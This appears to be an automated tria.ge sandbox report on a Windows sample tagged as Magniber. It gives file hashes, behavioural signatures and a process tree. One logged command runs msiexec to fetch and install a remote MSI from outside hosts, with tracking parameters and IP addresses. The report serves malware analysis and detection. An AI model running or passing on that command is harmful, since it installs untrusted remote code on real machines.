Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
95s -
max time network
102s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
07/09/2024, 10:38
Static task
static1
Behavioral task
behavioral1
Sample
2024-09-07_9c090f0b8761b4ad724bd17f13a9b242_magniber.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
2024-09-07_9c090f0b8761b4ad724bd17f13a9b242_magniber.exe
Resource
win10v2004-20240802-en
General
-
Target
2024-09-07_9c090f0b8761b4ad724bd17f13a9b242_magniber.exe
-
Size
1.4MB
-
MD5
9c090f0b8761b4ad724bd17f13a9b242
-
SHA1
a1f5311c5fa990ff3b160151ba41c150e0a02a00
-
SHA256
d4c656e2e1fe36257d441e52cd52fe91e04c1f6a9f92c4bc1036a04608920726
-
SHA512
ced5b53ab2dd719091ac27fa39e827b88e4b5e24795a27f68cda9f45e765a2d793e57bee133cdbf8014d9ce81f33a4c58635d13e92c446b68833d04abe02ddd6
-
SSDEEP
24576:waQPDPddNJ1jNVQYzqORTBWGvPA3Uk/VyfMPe/1ITN+yI3uWAE7wWotiMN:waADddJnJNRTBnvf06EjTN+D3dWcMN
Malware Config
Signatures
-
Executes dropped EXE 1 IoCs
pid Process 2988 ~jqwi9sl72h.tmp -
Use of msiexec (install) with remote resource 1 IoCs
pid Process 4200 MSIEXEC.EXE -
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 2024-09-07_9c090f0b8761b4ad724bd17f13a9b242_magniber.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ~jqwi9sl72h.tmp Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSIEXEC.EXE -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeShutdownPrivilege 4200 MSIEXEC.EXE Token: SeIncreaseQuotaPrivilege 4200 MSIEXEC.EXE -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 4200 MSIEXEC.EXE 4200 MSIEXEC.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 408 wrote to memory of 2988 408 2024-09-07_9c090f0b8761b4ad724bd17f13a9b242_magniber.exe 83 PID 408 wrote to memory of 2988 408 2024-09-07_9c090f0b8761b4ad724bd17f13a9b242_magniber.exe 83 PID 408 wrote to memory of 2988 408 2024-09-07_9c090f0b8761b4ad724bd17f13a9b242_magniber.exe 83 PID 2988 wrote to memory of 4200 2988 ~jqwi9sl72h.tmp 91 PID 2988 wrote to memory of 4200 2988 ~jqwi9sl72h.tmp 91 PID 2988 wrote to memory of 4200 2988 ~jqwi9sl72h.tmp 91
Processes
-
C:\Users\Admin\AppData\Local\Temp\2024-09-07_9c090f0b8761b4ad724bd17f13a9b242_magniber.exe"C:\Users\Admin\AppData\Local\Temp\2024-09-07_9c090f0b8761b4ad724bd17f13a9b242_magniber.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:408 -
C:\Users\Admin\AppData\Local\Temp\~jqwi9sl72h.tmp"C:\Users\Admin\AppData\Local\Temp\~jqwi9sl72h.tmp"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2988 -
C:\Windows\SysWOW64\MSIEXEC.EXEMSIEXEC.EXE /i "http://clatz.fileslldl.eu/client/pkgs/titancasino/Casino Titan20150112010049.msi" DDC_DID=4485499 DDC_RTGURL=http://www.filecdn.eu/dl/TrackSetup/TrackSetup.aspx?DID=4485499%26filename=CasinoTitan%2Eexe%26CASINONAME=titancasino DDC_DOWNLOAD_AFFID=71235 DDC_UPDATESTATUSURL=http://190.4.91.1:8080/titan/Lobby.WebServices/Installer.asmx CUSTOMNAME02=redirectAsData CUSTOMVALUE02=1 CUSTOMNAME03=remoteIP CUSTOMVALUE03=141.101.98.32 CUSTOMNAME04=name CUSTOMNAME05=email CUSTOMNAME06=redirect CUSTOMNAME07=version CUSTOMVALUE07=100 CUSTOMNAME08=camefrom CUSTOMVALUE08=http://777casinoshow.com/Ayad-Hachem-Who-Works-For-Hsbc-Bank.aspx CUSTOMNAME09=adid CUSTOMVALUE09=NULL CUSTOMNAME10=affreferrer CUSTOMVALUE10=http://777casinoshow.com/Ayad-Hachem-Who-Works-For-Hsbc-Bank.aspx SETUPEXEDIR="C:\Users\Admin\AppData\Local\Temp" SETUPEXENAME="~jqwi9sl72h.tmp"3⤵
- Use of msiexec (install) with remote resource
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4200
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD5f88643d178e5ef90a453a50ed13aae4c
SHA1d753e3bc2b2075947f9be4528d949623ef34ff56
SHA256c3c7a5e3dd19e9f82bd956d24799fe75b4da03ff718e8aabe9dc56d9686699dc
SHA51279b752484927833a3d944798869c728d4e8f6ada5923982283869ba1912bac0770dd576505f1ecc4c5537518f82d0a5e482ced8dbbd696635061270bd3f6dc8a
-
Filesize
21KB
MD5be345d0260ae12c5f2f337b17e07c217
SHA10976ba0982fe34f1c35a0974f6178e15c238ed7b
SHA256e994689a13b9448c074f9b471edeec9b524890a0d82925e98ab90b658016d8f3
SHA51277040dbee29be6b136a83b9e444d8b4f71ff739f7157e451778fb4fccb939a67ff881a70483de16bcb6ae1fea64a89e00711a33ec26f4d3eea8e16c9e9553eff
-
Filesize
20B
MD5db9af7503f195df96593ac42d5519075
SHA11b487531bad10f77750b8a50aca48593379e5f56
SHA2560a33c5dffabcf31a1f6802026e9e2eef4b285e57fd79d52fdcd98d6502d14b13
SHA5126839264e14576fe190260a4b82afc11c88e50593a20113483851bf4abfdb7cca9986bef83f4c6b8f98ef4d426f07024cf869e8ab393df6d2b743b9b8e2544e1b
-
Filesize
6KB
MD59397fed75114110f707ed7a3601b80fe
SHA1d429f45ba9fbb3aa1d374195c8ac7351f212b872
SHA256adeafa6551ab0a746cb7ae362c1973328e911ca7769e0803800135260cc7af36
SHA512ec4ae37cf66d87eb9f7bb5439d3c5006a6f91f409719eeeb30678ddf05810a0a2ee5dbe2541c74f067795964d82bb527b42d083b144e0c5fbfdd75efb80d6931
-
Filesize
1.2MB
MD566532e1f046ba116b4aefb15618cc05a
SHA125bfb4e3284c1d673768f6bba1befa8f816f1fd4
SHA256797287b797ccae9da568419c7104cde5b1d789e9c5f825350da324259e4348dd
SHA5124017156ef331360cc71fb2b3ca27350e394fad561a535ead2523b8629cd104dcf7eefe7fdfb05e71b399496d113fd3ff37e757d353eca378434aab82a17a5467